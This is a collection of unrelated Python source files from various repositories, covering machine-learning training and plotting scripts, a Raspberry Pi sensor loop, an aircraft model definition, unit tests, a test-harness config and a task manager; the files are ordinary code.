img = cv2.putText(blank_image, text, pos, font, size, color, thick)
return ImageConverter.im2bmp(img)
if __name__ == "__main__":
cv2.imshow("test", TextConverter.text2bmp("Coding by"))
cv2.waitKey(0)
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sid/src/train.py | theScrabi/kaldi_voxceleb_pytorch | 3 | 191144 | <reponame>theScrabi/kaldi_voxceleb_pytorch
#/usr/bin/python3
from sys import argv
print("loading")
import torch
import kaldi_io as kio
import numpy as np
from model import XVectorModel
from torch import nn
from torch import optim
from sys import exit
import os
from math import isnan
from math import floor
from queue import Queue
from threading import Thread
from time import sleep
from utils import shuffle_scp
from utils import get_speaker_id
from utils import read_flavour
from utils import get_labels_and_count
from utils import get_random_frame
from utils import get_speaker_count
speech_length = 400
batch_size = 64
amount_of_speaker = get_speaker_count()
learning_rate = 0.001
train_scp = os.environ['TRAIN_SCP']
spklbl_file_name = "./exp/spklbl"
device = torch.device(os.environ['TRAINING_DEVICE'])
flavour = read_flavour(argv)
if len(argv) < 3:
print("you need to enter a directory for the models")
exit(1)
model_dir = argv[2]
labels, amount_of_speaker = get_labels_and_count(spklbl_file_name)
xmodel = XVectorModel(amount_of_speaker, flavour=flavour, device=device, learning=True).to(device)
optimizer = optim.Adam(xmodel.parameters(), lr=learning_rate)
batch_queue = Queue()
# used for debugging if NaN values start to come up again
#torch.autograd.set_detect_anomaly(True)
def set_speech_length(speech_length):
speech_length = speech_length
def id_to_vector(id):
vector = np.zeros([amount_of_speaker])
vector[id - 1] = 1
return vector
def train_one_batch(batch_x, batch_y, epochnum, batchnum):
optimizer.zero_grad()
x = torch.from_numpy(batch_x).to(device)
target = torch.from_numpy(batch_y).type(torch.long).to(device)
loss, penalty = xmodel(x, target)
(loss + penalty).backward()
optimizer.step()
# train
if isnan(loss):
print("************************** HALT AND CATCH FIRE *****************************")
exit(1)
print("epoch : " + str(epochnum) + " batch: " + str(batchnum) + " Loss is: " + str(float(loss)))
def get_one_batch_with_random_frames(shuffled_scp_file):
batch_x = []
batch_y = []
for key, mat in kio.read_mat_scp(shuffled_scp_file):
if mat.shape[0] >= speech_length:
x = get_random_frame(mat, speech_length)
# y = id_to_vector(labels[get_speaker_id(key)]) # use this for mse loss
y = labels[get_speaker_id(key)] # use this for cross entropy loss
batch_x.append(x)
batch_y.append(y)
if len(batch_x) == 64:
yield (np.array(batch_x), np.array(batch_y))
batch_x = []
batch_y = []
def get_one_batch_with_sequential_frames(shuffled_scp_file):
batch_x = []
batch_y = []
for key, mat in kio.read_mat_scp(shuffled_scp_file):
# y = id_to_vector(labels[get_speaker_id(key)]) # use this for mse loss
y = labels[get_speaker_id(key)] # use this for cross entropy loss
for i in range(0, floor(mat.shape[0] / speech_length)):
start = i * speech_length
stop = start + speech_length
batch_x.append(mat[start:stop])
batch_y.append(y)
if len(batch_x) == 64:
yield (np.array(batch_x), np.array(batch_y))
batch_x = []
batch_y = []
def batch_loader_thread(scp_files):
shuffled_scp_file = shuffle_scp(scp_files)
for batch in get_one_batch_with_sequential_frames(shuffled_scp_file):
batch_queue.put(batch)
def train_epoch(epoch_num, scp_files):
batch_num = 0
t = Thread(target=batch_loader_thread, args=([scp_files]), daemon=True)
t.start()
while t.isAlive():
while not batch_queue.empty():
(batch_x, batch_y) = batch_queue.get()
train_one_batch(batch_x, batch_y, epoch_num, batch_num)
batch_num = batch_num + 1
# if main thread is to fast it gets penalized
sleep(0.01)
def predict_id(x):
batch_x = torch.from_numpy(x)
batch_x = batch_x.unsqueeze(0).to(device)
calc_x = xmodel(batch_x)
return calc_x.cpu().detach().numpy()[0].argmax()
def train(num_of_epochs, scp_files, model_dir=""):
for i in range(0, num_of_epochs):
train_epoch(i, scp_files)
if not model_dir == "":
torch.save(xmodel.state_dict(), model_dir + "/raw_model" + ("%02d" % i) + ".pt")
# training
print("starting")
train(num_of_epochs=20, model_dir=model_dir, scp_files=[train_scp])
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] |
lib/dataset/__init__.py | Amberrferr/Faster_RCNN_for_DOTA | 0 | 138027 | from dataset.imdb import IMDB
from dataset.pascal_voc import PascalVOC
from dataset.cityscape import CityScape
from dataset.coco import coco
from dataset.DOTA import DOTA_oriented,DOTA
from dataset.UCAS import UCAS
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light_gas.py | mmaasrani/Tripoli-from-a-dream-to-reality | 0 | 126579 | <gh_stars>0
#Raspberry Pi Potentiometer Circuit Code
import RPi.GPIO as GPIO
import botbook_mcp3002 as mcp
import time
LED = 40
lightvalue = 0
GPIO.setmode(GPIO.BOARD)
GPIO.setup(LED, GPIO.OUT)
while True:
lightvalue = mcp.readAnalog(0,0)
gasValue = mcp.readAnalog(0,1)
print "LightValue = ", lightvalue, "CO Gas Value= ", gasValue
time.sleep( 0.2)
if (lightvalue <=700):
GPIO.output(LED, GPIO.HIGH)
elif (lightvalue >700):
GPIO.output(LED, GPIO.LOW)
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SUAVE/SUAVE-2.5.0/regression/scripts/Vehicles/BWB.py | Vinicius-Tanigawa/Undergraduate-Research-Project | 0 | 67973 | <filename>SUAVE/SUAVE-2.5.0/regression/scripts/Vehicles/BWB.py
# BWB.py
#
# Created: Aug 2014, <NAME>
# Modified: Jan 2019, <NAME>
# ----------------------------------------------------------------------
# Imports
# ----------------------------------------------------------------------
import SUAVE
from SUAVE.Core import Units
import numpy as np
import pylab as plt
import copy, time
from SUAVE.Core import (
Data, Container
)
from SUAVE.Methods.Propulsion.turbofan_sizing import turbofan_sizing
from SUAVE.Methods.Geometry.Two_Dimensional.Cross_Section.Propulsion import compute_turbofan_geometry
# ----------------------------------------------------------------------
# Define the Vehicle
# ----------------------------------------------------------------------
def vehicle_setup():
# ------------------------------------------------------------------
# Initialize the Vehicle
# ------------------------------------------------------------------
vehicle = SUAVE.Vehicle()
vehicle.tag = 'BWB'
# ------------------------------------------------------------------
# Vehicle-level Properties
# ------------------------------------------------------------------
# mass properties
vehicle.mass_properties.max_takeoff = 79015.8 # kg
vehicle.mass_properties.takeoff = 79015.8 # kg
vehicle.mass_properties.max_zero_fuel = 0.9 * vehicle.mass_properties.max_takeoff
vehicle.mass_properties.cargo = 10000. * Units.kilogram
# envelope properties
vehicle.envelope.ultimate_load = 2.5
vehicle.envelope.limit_load = 1.5
# basic parameters
vehicle.reference_area = 125.0
vehicle.passengers = 170
vehicle.systems.control = "fully powered"
vehicle.systems.accessories = "sst"
# ------------------------------------------------------------------
# Main Wing
# ------------------------------------------------------------------
wing = SUAVE.Components.Wings.Main_Wing()
wing.tag = 'main_wing'
wing.aspect_ratio = 5.86 #12.
wing.sweeps.quarter_chord = 15. * Units.deg
wing.thickness_to_chord = 0.14
wing.taper = 0.1
wing.dihedral = 3.0 * Units.degrees
wing.spans.projected = 39.0
wing.chords.root = 17.0
wing.chords.tip = 1.0
wing.chords.mean_aerodynamic = (2.0/3.0)*(wing.chords.root + wing.chords.root -(wing.chords.root*wing.chords.root)/(wing.chords.root+wing.chords.root))
wing.areas.reference = 259.4
wing.twists.root = 1.0 * Units.degrees
wing.twists.tip = -4.0 * Units.degrees
wing.origin = [3.,0.,-.25]
wing.aerodynamic_center = [3,0,-.25]
wing.vertical = False
wing.symmetric = True
wing.high_lift = True
wing.dynamic_pressure_ratio = 1.0
segment = SUAVE.Components.Wings.Segment()
segment.tag = 'fuselage_edge'
segment.percent_span_location = 7.0/wing.spans.projected
segment.twist = -2. * Units.deg
segment.root_chord_percent = 0.88
segment.dihedral_outboard = 10.0 * Units.deg
segment.sweeps.quarter_chord = 40.0*Units.deg
segment.thickness_to_chord = 0.18
wing.Segments.append(segment)
segment = SUAVE.Components.Wings.Segment()
segment.tag = 'Outboard'
segment.percent_span_location = 0.3
segment.twist = 0.0 * Units.deg
segment.root_chord_percent = 0.35
segment.dihedral_outboard = 4.0 * Units.deg
segment.sweeps.quarter_chord = 20.0 * Units.deg
segment.thickness_to_chord = 0.1
wing.Segments.append(segment)
# add to vehicle
vehicle.append_component(wing)
# ------------------------------------------------------------------
# Fuselage
# ------------------------------------------------------------------
fuselage = SUAVE.Components.Fuselages.Fuselage()
fuselage.tag = 'fuselage_bwb'
fuselage.fineness.nose = 0.65
fuselage.fineness.tail = 0.5
fuselage.lengths.nose = 4.0
fuselage.lengths.tail = 4.0
fuselage.lengths.cabin = 12.0
fuselage.lengths.total = 22.0
fuselage.lengths.fore_space = 1.0
fuselage.lengths.aft_space = 1.0
fuselage.width = 8.0
fuselage.heights.maximum = 3.8
fuselage.heights.at_quarter_length = 3.7
fuselage.heights.at_three_quarters_length = 2.5
fuselage.heights.at_wing_root_quarter_chord = 4.0
fuselage.areas.side_projected = 100.
fuselage.areas.wetted = 400.
fuselage.areas.front_projected = 40.
R = (fuselage.heights.maximum-fuselage.width)/(fuselage.heights.maximum-fuselage.width)
fuselage.effective_diameter = (fuselage.width/2 + fuselage.heights.maximum/2.)*(64.-3.*R**4.)/(64.-16.*R**2.)
fuselage.differential_pressure = 5.0e4 * Units.pascal # Maximum differential pressure
# add to vehicle
vehicle.append_component(fuselage)
# ------------------------------------------------------------------
# Turbofan Network
# ------------------------------------------------------------------
#instantiate the gas turbine network
turbofan = SUAVE.Components.Energy.Networks.Turbofan()
turbofan.tag = 'turbofan'
# setup
turbofan.number_of_engines = 2.0
turbofan.sealevel_static_thrust = 2* 10000 *Units.N
# add gas turbine network gt_engine to the vehicle
vehicle.append_component(turbofan)
# ------------------------------------------------------------------
# Vehicle Definition Complete
# ------------------------------------------------------------------
return vehicle
# ----------------------------------------------------------------------
# Define the Configurations
# ---------------------------------------------------------------------
def configs_setup(vehicle):
# ------------------------------------------------------------------
# Initialize Configurations
# ------------------------------------------------------------------
configs = SUAVE.Components.Configs.Config.Container()
base_config = SUAVE.Components.Configs.Config(vehicle)
base_config.tag = 'base'
configs.append(base_config)
# done!
return configs | [
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[email protected]/figureMoG.py | andresmasegosa/PRML-CoreSets | 0 | 173214 | <reponame>andresmasegosa/PRML-CoreSets
import matplotlib.pyplot as plt
import numpy as np
from sklearn.cluster import KMeans
import inferpy as inf
from sklearn import metrics
from datareduction.variational_gaussian_mixture_DR import VariationalGaussianMixture_DR
from prml.rv import VariationalGaussianMixture
from prml.features import PolynomialFeatures
from prml.linear import (
VariationalLinearRegressor,
VariationalLogisticRegressor
)
from scipy import random, linalg
############## GENERATE DATA ########################
N=1000
K=2
M=10
D=2
np.random.seed(10)
cov = np.random.rand(D,D)
cov = np.dot(cov,cov.transpose())
x_train = np.random.multivariate_normal(np.repeat(5,D),cov,int(N/K))
x_test = np.random.multivariate_normal(np.repeat(5,D),cov,int(N/K))
y_test = np.repeat(0,int(N/K))
for i in range(1,K):
x_train=np.append(x_train, np.random.multivariate_normal(np.repeat(10*i,D),cov,int(N/K)),axis=0)
x_test=np.append(x_test, np.random.multivariate_normal(np.repeat(10*i,D),cov,int(N/K)),axis=0)
y_test = np.append(y_test, np.repeat(i, int(N / K)))
np.take(x_train,np.random.permutation(x_train.shape[0]),axis=0,out=x_train)
a=0
b=15
c=0
d=15
#plt.scatter(x_train[:,0],x_train[:,1])
# plt.figure(0)
# np.random.seed(1234)
# vgmm = VariationalGaussianMixture(n_components=2)
# vgmm.fit(x_train)
# vgmm.mu
#
# plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm.classify(x_train))
# x0, x1 = np.meshgrid(np.linspace(a, b, 100), np.linspace(c, d, 100))
# x = np.array([x0, x1]).reshape(2, -1).T
# plt.contour(x0, x1, np.exp(vgmm.logpdf(x)).reshape(100, 100))
# plt.xlim(-5, 10, 100)
# plt.ylim(-5, 10, 100)
# plt.gca().set_aspect('equal', adjustable='box')
# plt.savefig("./figs/MoG_Artificial_TrueVI.pdf",bbox_inches='tight')
plt.figure(0)
np.random.seed(1234)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=2, cluster_method="SS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_SS_M_2.pdf",bbox_inches='tight')
plt.figure(1)
np.random.seed(12)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="SS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_SS_M_ 10.pdf",bbox_inches='tight')
plt.figure(2)
np.random.seed(10)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=2, cluster_method="NoSS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_NoSS_M_2.pdf",bbox_inches='tight')
plt.figure(3)
np.random.seed(10)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="NoSS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_NoSS_M_10.pdf",bbox_inches='tight')
plt.figure(4)
np.random.seed(0)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="random")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=100.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_Random_M_10_0.pdf",bbox_inches='tight')
plt.figure(5)
np.random.seed(123456)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="random")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=100.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_Random_M_10_1.pdf",bbox_inches='tight')
plt.show() | [
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tests/test_is_valid_php_version_file_version.py | gerardroche/sublime-phpunit | 85 | 9061 | from PHPUnitKit.tests import unittest
from PHPUnitKit.plugin import is_valid_php_version_file_version
class TestIsValidPhpVersionFileVersion(unittest.TestCase):
def test_invalid_values(self):
self.assertFalse(is_valid_php_version_file_version(''))
self.assertFalse(is_valid_php_version_file_version(' '))
self.assertFalse(is_valid_php_version_file_version('foobar'))
self.assertFalse(is_valid_php_version_file_version('masterfoo'))
self.assertFalse(is_valid_php_version_file_version('.'))
self.assertFalse(is_valid_php_version_file_version('x'))
self.assertFalse(is_valid_php_version_file_version('x.x'))
self.assertFalse(is_valid_php_version_file_version('x.x.x'))
self.assertFalse(is_valid_php_version_file_version('x'))
self.assertFalse(is_valid_php_version_file_version('snapshot'))
def test_master_branch_version(self):
self.assertTrue(is_valid_php_version_file_version('master'))
def test_specific_semver_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.0.0'))
self.assertTrue(is_valid_php_version_file_version('5.0.1'))
self.assertTrue(is_valid_php_version_file_version('5.0.7'))
self.assertTrue(is_valid_php_version_file_version('5.0.30'))
self.assertTrue(is_valid_php_version_file_version('5.0.32'))
self.assertTrue(is_valid_php_version_file_version('5.1.0'))
self.assertTrue(is_valid_php_version_file_version('5.1.1'))
self.assertTrue(is_valid_php_version_file_version('5.1.3'))
self.assertTrue(is_valid_php_version_file_version('5.1.27'))
self.assertTrue(is_valid_php_version_file_version('7.0.0'))
self.assertTrue(is_valid_php_version_file_version('7.1.19'))
def test_minor_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.6'))
self.assertTrue(is_valid_php_version_file_version('7.1'))
self.assertTrue(is_valid_php_version_file_version('7.2'))
def test_major_dot_x_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.x'))
self.assertTrue(is_valid_php_version_file_version('6.x'))
self.assertTrue(is_valid_php_version_file_version('7.x'))
self.assertTrue(is_valid_php_version_file_version('8.x'))
def test_major_dot_minor_dot_x_versions(self):
self.assertTrue(is_valid_php_version_file_version('7.0.x'))
self.assertTrue(is_valid_php_version_file_version('7.1.x'))
self.assertTrue(is_valid_php_version_file_version('7.2.x'))
def test_snapshot_versions(self):
self.assertTrue(is_valid_php_version_file_version('5.4snapshot'))
self.assertTrue(is_valid_php_version_file_version('5.5snapshot'))
self.assertTrue(is_valid_php_version_file_version('5.6snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.0snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.1snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.0.0snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.1.0snapshot'))
self.assertTrue(is_valid_php_version_file_version('7.1.1snapshot'))
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] |
tests/fixtures/annotations/model.py | akretion/xsdata | 0 | 188092 | <filename>tests/fixtures/annotations/model.py
from __future__ import annotations
from dataclasses import dataclass, field
from typing import Optional
from tests.fixtures.annotations.units import unit
__NAMESPACE__ = "http://domain.org/schema/model"
@dataclass
class Measurement:
value: Optional[float] = field(
default=None,
metadata={
"required": True,
}
)
unit: Optional[unit] = field(
default=None,
metadata={
"type": "Attribute",
}
)
@dataclass
class Weight(Measurement):
class Meta:
namespace = "http://domain.org/schema/model"
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] |
scripts-config/ta3/remote-runner-scripts/bbn_config.py | nathanawmk/SPARTA | 37 | 179346 | # *****************************************************************
# Copyright 2013 MIT Lincoln Laboratory
# Project: SPAR
# Authors: ni24039
# Description: Config file to be used with remote_runner.py
#
# Modifications:
# Date Name Modification
# ---- ---- ------------
# 10 Jan 2013 ni24039 Original Version
# *****************************************************************
import copy
# =============================================================================
# NOTE Put any convenience variables you may need in this area.
HOME_DIR = "/home/" + options.ssh_user + "/"
BASE_DIR = HOME_DIR + "spar-testing/"
# =============================================================================
# =============================================================================
# Base component
# NOTE Put any component settings here that will be common to all components.
base_component = Component()
# TODO(njhwang) seems like this doesn't work for large # of files...taking too
# long to hash files and diff them
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "test", HOME_DIR + "test"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "extern", HOME_DIR + "extern"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "jmiracl", HOME_DIR + "jmiracl"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "p3s-1.0", HOME_DIR + "p3s-1.0"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "includedir", HOME_DIR + "includedir"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + "libdir", HOME_DIR + "libdir"))
#base_component.files.update(util.recursive_files_dict(HOME_DIR + ".m2", HOME_DIR + ".m2"))
# =============================================================================
# =============================================================================
# Third party component
# NOTE Include as many third party components as needed. The configuration for
# each one should look like the following. The name must start with
# 'third-party-'.
tp = copy.deepcopy(base_component)
tp.name = "third-party-ds"
tp.host = "10.10.99.218"
tp.start_index = 1
tp.executable = "./run-DS.sh"
tp.files[HOME_DIR + "run-DS.sh"] = "run-DS.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 10
config.add_component(tp)
tp = copy.deepcopy(base_component)
tp.name = "third-party-rs"
tp.host = "10.10.99.221"
tp.start_index = 2
tp.executable = "./run-RS.sh"
tp.files[HOME_DIR + "run-RS.sh"] = "run-RS.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 10
config.add_component(tp)
tp = copy.deepcopy(base_component)
tp.name = "third-party-ts"
tp.host = "10.10.99.214"
tp.start_index = 3
tp.executable = "./run-TS.sh"
tp.files[HOME_DIR + "run-TS.sh"] = "run-TS.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 5
config.add_component(tp)
tp = copy.deepcopy(base_component)
tp.name = "third-party-ara"
tp.host = "10.10.99.214"
tp.start_index = 4
tp.executable = "./run-ARA.sh"
tp.files[HOME_DIR + "run-ARA.sh"] = "run-ARA.sh"
# TODO these shouldn't be core-pinned at all
tp.num_cores = 5
config.add_component(tp)
# =============================================================================
# =============================================================================
# Publisher component
server = copy.deepcopy(base_component)
server.name = "server"
# NOTE Everything below should be updates as needed per SUT requirements.
#
# server.host should be updated as desired as the testing environment
# dictates. The muddler file that is run with this config file will reference a
# particular 'host info' file located in scripts-config/common/config/. The host
# info file will contain a list of all workstations in the environment with the
# following space-separated information:
# IP address, number of cores, model name, whether the system is hyperthreaded
#
# server.host should be set to one of the IP addresses in the host info file
# that will be used.
server.host = "10.10.99.219"
server.start_index = 5
server.executable = "./run-producer.sh"
server.files["/home/lincoln/extern/ta3/bin/run-producer.sh"] = "run-producer.sh"
server.num_cores = 2
# =============================================================================
config.add_component(server)
# =============================================================================
# Subscriber component
client = copy.deepcopy(base_component)
client.name = "client"
# NOTE client.host will be automatically populated by muddler. Whatever you set
# this to won't matter. client.host will eventually be set based on
# client.num_cores, how many clients are specified in the muddler, and which
# model names from the host info file are allowed to run client SUTs.
client.start_index = 6
client.host = "TBD"
client.executable = "./run-SUB-lincoln.sh"
# NOTE Everything below should be updates as needed per SUT requirements.
#
# If "%n" is present anywhere in client.args, it will be replaced with a
# unique integer representing the client SUT's ID. Take advantage of this when a
# SUT needs a unique argument of some sort. Otherwise, each SUT will receive the
# same arguments. client.args should NOT contain any semi-colons or double
# quotes.
client.files[HOME_DIR + "run-SUB-lincoln.sh"] = "run-SUB-lincoln.sh"
client.args = ["%n"]
client.num_cores = 1
# =============================================================================
config.add_component(client)
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2
] |
catalyst_gan/nn/criterion/__init__.py | WilliamAshbee/gan | 6 | 150220 | <filename>catalyst_gan/nn/criterion/__init__.py
from .bce_gan import (
BCELossDiscriminator, BCELossGenerator,
BCELossDiscriminatorFake, BCELossDiscriminatorReal
)
from .hinge import (
HingeLossDiscriminator, HingeLossGenerator,
HingeLossDiscriminatorFake, HingeLossDiscriminatorReal
)
from .wasserstein import (
WassersteinLossDiscriminator, WassersteinLossGenerator,
WassersteinLossDiscriminatorFake, WassersteinLossDiscriminatorReal,
WassersteinDistance
)
from .metrics import AverageValue, AverageProbability
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testbed_frontend/api/emulation/task_manager.py | Ncu-software-research-center/IIOT-testbed | 1 | 55548 | '''
Vortex OpenSplice
This software and documentation are Copyright 2006 to TO_YEAR ADLINK
Technology Limited, its affiliated companies and licensors. All rights
reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
import threading
import time
import redis
from api.emulation import Config, EmulationStatus
from api.emulation.task_queue import TaskQueue
from api.emulation.task_worker import TaskWorker
class TaskManager:
def __init__(self):
self.task_queue = TaskQueue()
self.task_worker = TaskWorker()
self.redis_connection = redis.StrictRedis(
host=Config.FRONTEND_IP, port=Config.REDIS_PORT, password=Config.REDIS_PASSWORD,
encoding="utf-8", decode_responses=True)
self.wait_task()
def wait_task(self):
self.execution_thread = threading.Thread(target=self._exectue_task, name='execution_thread', args=())
self.execution_thread.daemon = True
self.execution_thread.start()
def get_available_device(self):
def check_heartbeat(ip_address):
TIME_LIMIT = 2
current_time = float(self.redis_connection.time()[0])
worker_time = float(self.redis_connection.hget(ip_address, "time"))
return current_time - worker_time < TIME_LIMIT
time.sleep(1)
avaliable_ip_address = []
for ip in self.redis_connection.scan_iter("ip:*"):
if check_heartbeat(ip):
avaliable_ip_address.append(ip)
return avaliable_ip_address
def get_all_tasks(self):
pending_tasks = self.task_queue.get_all_tasks()
executing_task = self.task_worker.executing_task
executing_task['emulation_status'] = self.get_executing_task_status()
return [executing_task] + pending_tasks
def get_task_size(self):
return self.task_queue.get_pending_task_size() + int(self.task_worker.get_executing_task_id() != '0')
def add_task_into_queue(self, task: dict):
new_task = self.task_queue.add_task(task)
return new_task
def _manager_is_running(self):
"""
This function is used to testting.
"""
return True
def _exectue_task(self):
while self._manager_is_running():
if self.task_queue.get_pending_task_size() > 0:
print('execute task')
task = self.task_queue.get_first_task()
self.task_worker.execute_task(task)
print('finish task')
time.sleep(1)
def _abort_executing_task(self):
aborted_task = self.task_worker.abort_executing_task()
return aborted_task
def _cancel_task_from_queue(self, task_id):
canceled_task = self.task_queue.cancel_pending_task(task_id)
return canceled_task
def delete_task(self, task_id):
if self.task_worker.get_executing_task_id() == task_id:
print('abort')
deleted_task = self._abort_executing_task()
else:
deleted_task = self._cancel_task_from_queue(task_id)
return deleted_task
def get_executing_task(self):
return self.task_worker.executing_task
def get_executing_task_status(self):
return self.task_worker.get_executing_task_status()
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breidablik/interpolate/test_spectra.py | ellawang44/Breidablik | 2 | 96315 | from breidablik.interpolate.spectra import Spectra
import numpy as np
import pytest
import warnings
try:
Spectra()
flag = False
except:
flag = True
# skip these tests if the trained models are not present
pytestmark = pytest.mark.skipif(flag, reason = 'No trained Spectra model')
class Test_find_abund:
@classmethod
def setup_class(cls):
cls.models = Spectra()
def test_monontonic(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 3, 2], [4, 5, 6], [1, 1, 1], 4000, 1.5, 0)
def test_shape(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 2], [1], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [1, 2], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [1], [1, 2], 5000, 2.5, -2)
def test_dimension(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([[1, 2], [2, 3]], [1], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [[1, 2], [2, 3]], [1], 5000, 2.5, -2)
Test_find_abund.models.find_abund([1], [1], [[1, 2], [2, 3]], 5000, 2.5, -2)
def test_method(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 2, 3], [4, 5, 6], [1, 1, 1], 5000, 1, 1, method = 'hi')
def test_min_max_abund(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1], [1], [1], 1, 1, 1, min_abund = 8, max_abund = -1)
def test_abund_prior_warning(self):
with warnings.catch_warnings(record = True) as w:
warnings.simplefilter('always')
Test_find_abund.models.find_abund([600, 700], [1, 0.5], [0.5, 0.5], 5000, 2.5, -2, method = 'chisq', prior = [1, 2, 3], abunds = [1, 2, 3])
Test_find_abund.models.find_abund([600, 700], [1, 0.9], [0.5, 0.5], 5000, 2.5, -2, prior = [1, 2, 3])
Test_find_abund.models.find_abund([600, 700], [1, 0.9], [0.5, 0.5], 5000, 2.5, -2, abunds = [1, 2, 3])
assert len(w) == 3
for i in range(len(w)):
assert issubclass(w[i].category, UserWarning)
def test_wl_overlap(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([1, 2], [1, 0.6], [0.1, 0.21], 5000, 4.5, -1)
def test_abund_prior_shape(self):
with pytest.raises(ValueError):
Test_find_abund.models.find_abund([680, 690], [1, 1], [1, 1], 5000, 2.5, -2, abunds = [1, 2], prior = [1])
Test_find_abund.models.find_abund([680, 690], [1, 1], [1, 1], 5000, 2.5, -2, abunds = [[1, 2]], prior = [[1, 3]])
def test_warning_pred_abund(self):
# define square wave
wls = np.linspace(670.5, 671.4, 1000)
flux = np.full(len(wls), 1)
flux[(670.95 <= wls) & (wls < 670.99)] = 0
